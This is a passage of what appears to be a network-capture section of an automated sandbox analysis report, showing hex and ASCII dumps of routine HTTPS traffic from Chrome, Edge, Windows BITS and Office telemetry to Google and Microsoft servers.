2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 Data Ascii: ateScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\u003d_.b
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 Data Ascii: mentsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003dfunction(
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 4a 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b Data Ascii: umber\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Jd(f):f,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	142.250.186.100	443	7804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 18:22:11 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 18:22:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 18:22:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-16 18:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 18:22:16 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80594 Date: Sat, 16 Nov 2024 18:22:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	172.217.18.14	443	7804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:15 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 18:22:15 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 37 38 31 33 33 33 32 39 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731781333297",null,null,null,
2024-11-16 18:22:16 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=qBg6GpI4zNCLCde0SlqMzRaTOiNENvu8EBrd7OPJ4etnf8hJIzUKI0hgc7ZivDjpe7nVBJJXwqnThziKqGCFT6IF0FWOfya827AUa_nB1alcWUws31BgHRK9CHauIB4yLu0WMVGHwx_6PUfUcP37FGM4DpJ57FonOy3Ks5629P3tupYDv5pDoN8; expires=Sun, 18-May-2025 18:22:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 16 Nov 2024 18:22:16 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 16 Nov 2024 18:22:16 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-16 18:22:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-16 18:22:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 18:22:17 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80605 Date: Sat, 16 Nov 2024 18:22:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-16 18:22:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49738	94.245.104.56	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:22 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:22 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 16 Nov 2024 18:22:22 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:22 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 2e41c694-401e-0029-6fbf-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182222Z-164f84587bfsqsthhC1DFWh63000000002a0000000006u57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:22 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-16 18:22:22 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-16 18:22:22 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-16 18:22:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-16 18:22:22 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-16 18:22:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-16 18:22:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-16 18:22:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-16 18:22:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
